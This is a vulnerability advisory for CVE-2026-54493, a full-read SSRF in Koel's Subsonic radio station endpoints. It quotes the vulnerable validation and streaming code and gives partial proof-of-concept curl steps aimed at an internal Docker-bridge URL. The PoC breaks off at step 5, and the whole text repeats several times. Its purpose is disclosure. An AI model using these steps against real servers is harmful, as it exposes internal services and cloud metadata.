CVE-2026-54493

Koel is a free, open-source music streaming solution. Prior to 9.7.0, the Subsonic-compatible createInternetRadioStation.view and updateInternetRadioStation.view routes accept an authenticated user's streamUrl without the SafeUrl and HasAudioContentType checks used by the regular radio API. app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php and app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php pass the stored URL through app/Services/RadioService.php to app/Services/Radio/RadioStreamProxy.php, where RadioStreamProxy::openStream() calls fopen($url, 'r', false, $context). Streaming /radio/stream/{id} returns the upstream response body, allowing access to loopback, RFC1918, Docker bridge, metadata, or other internal HTTP services reachable from the Koel server. This issue is fixed in version 9.7.0.

Koel is a free, open-source music streaming solution. Prior to 9.7.0, the Subsonic-compatible createInternetRadioStation.view and updateInternetRadioStation.view routes accept an authenticated user's streamUrl without the SafeUrl and HasAudioContentType checks used by the regular radio API. app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php and app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php pass the stored URL through app/Services/RadioService.php to app/Services/Radio/RadioStreamProxy.php, where RadioStreamProxy::openStream() calls fopen($url, 'r', false, $context). Streaming /radio/stream/{id} returns the upstream response body, allowing access to loopback, RFC1918, Docker bridge, metadata, or other internal HTTP services reachable from the Koel server. This issue is fixed in version 9.7.0.

Summary

Koel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.

This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.

Details

SafeUrl is applied on the web API, but not on the Subsonic endpoints

Koel's regular radio API protects station URLs with SafeUrl and HasAudioContentType:

• app/Http/Requests/API/Radio/RadioStationStoreRequest.php
• app/Http/Requests/API/Radio/RadioStationUpdateRequest.php

new SafeUrl(),
new HasAudioContentType(),

The Subsonic-compatible routes do not reuse those checks:

• routes/subsonic.php
  • createInternetRadioStation.view
  • updateInternetRadioStation.view
• app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
• app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php

return [
    'streamUrl' => ['required', 'string'],
    'name' => ['required', 'string'],
    'homepageUrl' => ['nullable', 'string'],
];

The result is a validation gap between two routes that create the same type of object.

The unvalidated URL is stored and later fetched server-side

The Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:

• app/Http/Controllers/Subsonic/CreateInternetRadioStationController.php
• app/Http/Controllers/Subsonic/UpdateInternetRadioStationController.php
• app/Services/RadioService.php

The SSRF is triggered when the station is played:

• app/Http/Controllers/StreamRadioController.php
• app/Services/Radio/RadioStreamService.php
• app/Services/Radio/RadioStreamProxy.php

RadioStreamProxy::openStream() opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:

$stream = fopen($url, 'r', false, $context);

The response body is returned to the attacker

If the upstream response is treated as a normal stream, Koel forwards it back to the client:

while (!feof($stream) && !connection_aborted()) {
    echo fread($stream, 8192);
    flush();
}

That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.

This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.

PoC

The following steps were validated against the official phanan/koel:9.6.0 image.

1. Authenticate and obtain an API token:

API_TOKEN=$(
  curl -sS -X POST http://127.0.0.1:18081/api/me \
    -H 'Content-Type: application/json' \
    --data '{"email":"[email protected]","password":"KoelIsCool"}' \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)

2. Obtain the user's Subsonic API key:

SUBSONIC_KEY=$(
  curl -sS http://127.0.0.1:18081/api/data \
    -H "Authorization: Bearer $API_TOKEN" \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)

3. Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:

TARGET_URL="http://172.17.0.1:18090/feed.xml"

4. Confirm the regular web API blocks the URL:

curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
  -H "Authorization: Bearer $API_TOKEN" \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  --data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"

Expected result:

• HTTP 422
• Error includes The url must point to a public URL.

5. Create the same station through the Subsonic…

Koel is a free, open-source music streaming solution. Prior to 9.7.0, the Subsonic-compatible createInternetRadioStation.view and updateInternetRadioStation.view routes accept an authenticated user's streamUrl without the SafeUrl and HasAudioContentType checks used by the regular radio API. app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php and app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php pass the stored URL through app/Services/RadioService.php to app/Services/Radio/RadioStreamProxy.php, where RadioStreamProxy::openStream() calls fopen($url, 'r', false, $context). Streaming /radio/stream/{id} returns the upstream response body, allowing access to loopback, RFC1918, Docker bridge, metadata, or other internal HTTP services reachable from the Koel server. This issue is fixed in version 9.7.0.

Koel is a free, open-source music streaming solution. Prior to 9.7.0, the Subsonic-compatible createInternetRadioStation.view and updateInternetRadioStation.view routes accept an authenticated user's streamUrl without the SafeUrl and HasAudioContentType checks used by the regular radio API. app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php and app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php pass the stored URL through app/Services/RadioService.php to app/Services/Radio/RadioStreamProxy.php, where RadioStreamProxy::openStream() calls fopen($url, 'r', false, $context). Streaming /radio/stream/{id} returns the upstream response body, allowing access to loopback, RFC1918, Docker bridge, metadata, or other internal HTTP services reachable from the Koel server. This issue is fixed in version 9.7.0.

Summary

Koel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.

This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.

Details

SafeUrl is applied on the web API, but not on the Subsonic endpoints

Koel's regular radio API protects station URLs with SafeUrl and HasAudioContentType:

• app/Http/Requests/API/Radio/RadioStationStoreRequest.php
• app/Http/Requests/API/Radio/RadioStationUpdateRequest.php

new SafeUrl(),
new HasAudioContentType(),

The Subsonic-compatible routes do not reuse those checks:

• routes/subsonic.php
  • createInternetRadioStation.view
  • updateInternetRadioStation.view
• app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
• app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php

return [
    'streamUrl' => ['required', 'string'],
    'name' => ['required', 'string'],
    'homepageUrl' => ['nullable', 'string'],
];

The result is a validation gap between two routes that create the same type of object.

The unvalidated URL is stored and later fetched server-side

The Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:

• app/Http/Controllers/Subsonic/CreateInternetRadioStationController.php
• app/Http/Controllers/Subsonic/UpdateInternetRadioStationController.php
• app/Services/RadioService.php

The SSRF is triggered when the station is played:

• app/Http/Controllers/StreamRadioController.php
• app/Services/Radio/RadioStreamService.php
• app/Services/Radio/RadioStreamProxy.php

RadioStreamProxy::openStream() opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:

$stream = fopen($url, 'r', false, $context);

The response body is returned to the attacker

If the upstream response is treated as a normal stream, Koel forwards it back to the client:

while (!feof($stream) && !connection_aborted()) {
    echo fread($stream, 8192);
    flush();
}

That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.

This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.

PoC

The following steps were validated against the official phanan/koel:9.6.0 image.

1. Authenticate and obtain an API token:

API_TOKEN=$(
  curl -sS -X POST http://127.0.0.1:18081/api/me \
    -H 'Content-Type: application/json' \
    --data '{"email":"[email protected]","password":"KoelIsCool"}' \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)

2. Obtain the user's Subsonic API key:

SUBSONIC_KEY=$(
  curl -sS http://127.0.0.1:18081/api/data \
    -H "Authorization: Bearer $API_TOKEN" \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)

3. Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:

TARGET_URL="http://172.17.0.1:18090/feed.xml"

4. Confirm the regular web API blocks the URL:

curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
  -H "Authorization: Bearer $API_TOKEN" \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  --data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"

Expected result:

• HTTP 422
• Error includes The url must point to a public URL.

5. Create the same station through the Subsonic…